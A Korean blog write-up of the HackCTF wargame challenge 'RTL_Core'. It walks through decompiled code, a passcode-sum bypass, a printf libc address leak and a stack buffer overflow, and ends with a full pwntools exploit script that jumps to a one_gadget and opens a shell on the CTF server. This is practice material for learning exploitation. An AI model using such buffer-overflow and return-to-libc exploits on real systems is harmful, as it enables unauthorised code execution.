RTL_Core

2022. 3. 23. 20:19wargame/HACKCTF

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[24]; // [esp+Ch] [ebp-1Ch] BYREF

  setvbuf(_bss_start, 0, 2, 0);
  puts(&::s);
  printf("Passcode: ");
  gets(s);
  if ( check_passcode(s) == hashcode )
  {
    puts(&byte_8048840);
    core();
  }
  else
  {
    puts(&byte_8048881);
  }
  return 0;
}

                                                                                                                                                       

먼저 메인 함수 코드를 해석해보겠습니다.

사용자가 문자열을 입력할 수 있고 해당 문자열을 check_passcode의 인자로 전달합니다.

그다음 함수의 리턴 값이 hashcode(0x0C0D9B0A7)와 같은 지 비교합니다.

 

맞다면 core 함수를 실행합니다.

 

먼저 check_passcode 함수를 봐보겠습니다.

더보기
int __cdecl check_passcode(int a1)
{
  int v2; // [esp+8h] [ebp-8h]
  int i; // [esp+Ch] [ebp-4h]

  v2 = 0;
  for ( i = 0; i <= 4; ++i )
    v2 += *(_DWORD *)(4 * i + a1);
  return v2;
}

입력한 데이터 중 20byte의 데이터를 4byte씩 나누어 v2에 더합니다.  

 

a = 647098402
b = 647098401

#1 passing first step
payload = p32(a) * 2 + p32(b) * 3

r.sendlineafter(": ", payload)
r.recv()

위와 같은 코드를 짜 통과하였습니다.

 

다음은 core 함수입니다.

ssize_t core()
{
  int buf; // [esp+Ah] [ebp-3Eh] BYREF
  int v2; // [esp+Eh] [ebp-3Ah] BYREF
  int v3; // [esp+38h] [ebp-10h]
  void *v4; // [esp+3Ch] [ebp-Ch]

  buf = 0;
  v2 = 0;
  v3 = 0;
  memset((char *)&v2 + 2, 0, 4 * ((((char *)&v2 - ((char *)&v2 + 2) + 46) & 0xFFFFFFFC) >> 2));
  v4 = dlsym((void *)0xFFFFFFFF, "printf");
  printf("너에게 필요한 것은 바로 %p 일거야\n", v4);
  return read(0, &buf, 0x64u);
}

printf의 libc 주소를 출력합니다. 이를 통해 libc_base를 구할 수 있습니다.

다음 read 함수를 통해 BOF를 일으켜 RET를 변조하였습니다.

 

one_gadget을 이용하여 문제를 해결하였습니다.

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("ctf.j0n9hyun.xyz", 3015)
libc = ELF('./libc.so.6')

one_gadget = 0x3a819

a = 647098402
b = 647098401

#1 passing first step
payload = p32(a) * 2 + p32(b) * 3

r.sendlineafter(": ", payload)
r.recv()

#2 leak libc base
libc_print = r.recv().decode()[-15:-5]
libc_print = int(libc_print, 16)

libc_base = libc_print - libc.symbols['printf']
libc_system = libc_base + libc.symbols['system']
one_gadget = libc_base + one_gadget
print("[+] libc base is ", hex(libc_base))

#3 exploit
binsh = 0xf7f551db
pr = 0x0804843d
payload = b"A" * 0x3E + b"B" * 4 + p32(one_gadget)

r.send(payload)

r.interactive()

'wargame > HACKCTF' 카테고리의 다른 글

you_are_silver  (0) 2022.04.08
Pwning  (0) 2022.03.30
Random Key  (0) 2022.03.23
1996  (0) 2022.03.23
Poet  (0) 2022.03.23